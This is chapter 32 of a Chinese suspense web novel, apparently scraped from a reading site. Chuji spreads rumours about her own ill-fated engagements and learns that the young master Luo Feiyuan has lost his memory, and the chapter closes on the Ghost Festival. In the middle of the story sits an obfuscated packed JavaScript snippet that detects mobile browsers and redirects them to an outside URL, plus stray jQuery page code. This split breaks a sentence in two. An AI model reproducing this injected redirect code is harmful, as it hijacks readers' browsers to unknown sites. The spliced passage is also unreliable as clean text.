32. 第三十二章

作品:《她死后的第六年(悬疑)

    他上下打量着自家少主,绘声绘色道,“说钟姑娘定过两次亲,第一位未婚夫,本来身体很是健壮,与她定亲后染了疫症,不久就没了。”


    “第二位未婚夫更惨,是渡河的时候落入水中,听说被水鬼吃了,尸骨无存。而且,据说那第二位未婚夫全家都在船上……啧啧,这钟姑娘的命可真硬啊!少主,你、你不喜欢赵景儿不要紧,但最好还是换个人花前月下吧。不然你全家……咦……”


    好吧,他全家其实也是一个人。


    温焰一口茶直接喷了出来。


    罗非远嫌弃地看了一眼温焰才道:“你是从哪听说的?”


    刀无惧道:“外面都传遍了啊!他们将离门的人都在议论呢。”他还没有说那赵景儿丫鬟的嘴脸呢,幸灾乐祸,添油加醋,嘴咧到了耳根子,怎么,钟姑娘克夫能让她多活上十年不成?


    **


    张奉臬才将尹阙子、尤沐阳等人安顿妥当,路过瓜田,就听到王若谷正在绘声绘色地说着什么。


    “……初霁后来遇到个算命先生,那算命先生一见她就大惊失色,问:‘姑娘你可曾有婚配。’初霁含泪道:‘并无。’那算命先生说:‘没有就对了,姑娘命格贵重,乃是天生的孤鸾煞!”


    王若谷周围围了一圈师弟师妹们,大嘴师妹问:“孤鸾煞是什么?”


    王若谷闻言摇头叹息:“就是俗称的,天煞孤星!初霁继续道,‘因为我的两任未婚夫都、都死了。’那算命先生道:‘姑娘你前世命犯桃花,今生切不可再与男子扯上关系,否则,那男子必然不得善终啊……诶诶诶!张师兄你做什么!”


    王若谷被张奉臬扯着耳朵拖出人群,他揉了揉发红的耳朵,不满地瞪视张奉臬,张奉臬皱眉道:“你抽什么风了?初霁得罪你了?”


    王若谷慢吞吞道:“没有啊。”


    张奉臬:“……那你胡说八道什么?”


    王若谷小心地瞥了眼周围,缩了缩脖子:“这就是初霁让我说的!”


    待二人进了清漪的屋舍,某位小女子很无奈地解释说,其实她只是想用这种杀敌八百自损一千的方式避免被那位天杀的少主当枪使:别再和我搞绯闻了,我命硬啊!


    而且……她也不全是编的。


    于是在张奉臬问“王若谷散步的那些传闻到底还有什么是真的”之后,初霁委婉表示,真的有过未婚夫……就是、还没死。


    不过若是变心了,跟死了也差不多。


    她苦恼道:“其实我倒不是怕了他,我只是怕……”


    张奉臬接口道:“怕麻烦。还怕赵景儿如疯狗一般没完没了。”望着少女一脸知己惊喜,一副“难道你是也被狗咬过”的表情,他嘲讽地笑了笑,“放心吧,不会的。你大概不知道,在这之前,赵括之曾以访友的名义带她拜访过许多宗门,那些宗门都恰好有适龄的继任者与赵景儿匹配——这样就能借力,将将离门彻底握在手中。只是因为罗非远回来了,他觉得让罗非远与赵景儿成婚,能带来的价值是最大的,一箭双雕,所以开始才装的一副恭敬面孔。”


    初霁心道原来如此,所以罗非远才把话说绝了,让他直接死心。


    清漪轻叹道:“少主他只是性情乖张了些,人其实不坏。”


    王若谷:……


    初霁:???我告状骂人说谎陷害无辜路人少女但我其实是好人?


    清漪看少女不以为然的神情,笑笑,辩白道:“少主他其实很可怜。他小的时候,二位门主都很忙,他最常见到的,就是我爹和张伯父,经常缠着他们。我还因为这个闹过脾气。”


    清漪不好意思地笑了笑,张奉臬把玩杯子的手停住,嘴角噙笑,眼中依稀有怀念。


    清漪继续道:“再后来,慕门主的身子又不大好了,罗门主带了莫师婶回来,少主对莫师婶很有敌意,和罗门主经常吵架,父子关系很僵。后来,慕门主离世之后,罗门主怕睹物伤情,不怎么回将离门了。再后来,就……”


    清漪眼中闪过痛苦:“那件事之后,门主,还有我爹和张伯父都不在了,少主更加孤僻了,我和张师兄想劝他振作,可他根本不听我们的。莫师婶倒是常去关心他……其实当时莫师婶来到门中,风言风语也挺多的,到后来,她嫁给赵师叔,倒真的证明少主当年确实是误会了,可是……晚了。”


    初霁心中一恻,没想到罗非远有爹有娘,还不如自己这个没爹没娘的。自己起码有师父。难怪罗非远当时对她师父那么依恋。


    她不由问道:“那后来呢?”


    清漪接过张奉臬推过来的茶,喝了一口才道:“后来,少主在外突然遇险,生命垂危,当时他整个身子都被血浸透了,我吓坏了,以为他活不了了。之后闻人宗主便突然来了,带走了少主。后来少主在太始剑宗一待就是五年。闻人宗主是罗门主的师兄,他没有孩子,视少主如亲子。我想罗慕二位门主在泉下也能安心了。我听他们说,少主自醒来后,有许多事都记不得了,我想忘了也好,他以前过得太苦了,将过去忘记,以后能活得自在些……”


    她言犹未尽,转头看少女已经一脸呆滞,正不可思议地看着她:“你说……罗非远失忆了???”


    清漪奇怪道:“是啊,不过没几个人知道,我也是偶然间听掌事师姑和赵师叔提起过。”


    张奉臬眼中闪过淡淡的讥诮:“其实罗非远失忆,倒是正中某些人的下怀。”


    几人不语,都知道他在说什么,将离门很早就被赵代门主掌在手中了,他只是一直没有名正言顺的机会把“代”字去掉而已。


    初霁已经什么都听不进去了,她此刻像被雷电劈了一道又一道:所以说她死了五年,是真倒霉啊,处处都是晴天霹雳猝不及防。


    所以罗非远是真忘了?她解释的那些也是白解释了?那罗非远不是更怀疑她了?


    初霁欲哭无泪。


    苍天啊,她发誓,接下来她一定会绕着罗非远走,绝对不会跟他再碰面——在她将所有的事都想出合理的解释之前。


    王若谷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193698|181146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还在一旁唏嘘着罗非远失忆的事情:“……我以前小时候从崖上摔下去过一次,有几天连爹娘都认不得了。少主这伤得真是不轻,几年都没缓过来。”


    张奉臬道:“那你运气不错,只是失忆了几天。”


    他唏嘘道:“是啊,不过我爹娘说,我只长了一颗吃心。”他不好意思地挠挠头,“我不记得爹娘了,但还记得娘做的辣子鸡蛋手擀面。我刚醒来,脾胃虚弱,爹娘就给我准备了清粥小菜,但是我一眼都没看——我虽然记不得我的口味,但是本能就不想吃。”


    “后来,爹娘没办法,做了我爱吃的辣子鸡蛋手擀面,连吃了三大碗。我娘又哭又笑,说谷儿还是那个谷儿,一点没变。”


    王若谷挠头。几人哄笑。


    清漪终于将花名册整理完了,张奉臬一边收起,准备带给掌事师姑,一边又与他们简单地说了玄门失踪案的最新进展。


    那两个去千沙门的弟子已经回来了,但是什么也没发现。


    初霁有些丧气,她总觉得,那山羊胡子起码是知道些什么的。不过如今知道了中年胖子的下落,找到他俩只是时间问题。


    突然,竹喧苑传来一阵喧哗声。竹喧苑是外门弟子的居所。因这些玄门同道来的匆忙,人数也多,赵括之便让暂时腾了一半弟子的房舍给客人住。好些弟子因为这事怨声载道,气氛很紧绷。时不时就要闹一阵。


    初霁听到那喧闹声中还有鸡叫,奇道:“怎么回事?”


    张奉臬无奈道:“竹喧苑有个弟子养了一只宠物鸡,被来的客人在不知情的情况下,抓了吃了。”


    初霁惊讶:“啊?这鸡……很肥吗?”


    张奉臬没好气:“别打岔。”


    王若谷:“然后呢?那客人就闹起来了?”


    张奉臬:“不是。那客人是个通情达理的人,知道后很愧疚,偷偷从外面农舍买了一只长得很像的鸡,放回了竹喧苑。但那弟子却觉得这鸡有问题,正在给鸡验明正身呢。”


    众人喷笑,初霁好奇问道:“怎么验啊?难不成,鸡还能招魂?”


    张奉臬道:“它原来的鸡喜欢吃豆沙包里的红豆馅儿,他就找了些喂。”


    清漪也好奇起来了:“那鸡没吃?”


    张奉臬:“吃了。是那红豆馅儿的包子有些馊了,鸡闹肚子呢。”


    ……


    一番嬉闹后,初霁发现外面天色已经暗下来了,风声尤其大,沙尘飞卷,天地间好像都笼罩在一股灰色的雾气中。她看到张奉臬已经走到院中,他从屋舍旁的库房,抱出几捆东西,唤王若谷打开。


    清漪也从里间拿出了个包袱,像是要出门的样子。


    初霁好奇地问:“你们要去哪儿?”


    天已经黑了一半,张奉臬正站在门口,他的脸在晦暗的天色中,显得模糊不清,他道:“烧纸,祭奠亡魂。”


    这时,清漪也走了出来,初霁看着包袱缝隙里透出的麻衣和白色布巾,才猛地意识到今天是盂兰节。俗称,鬼节。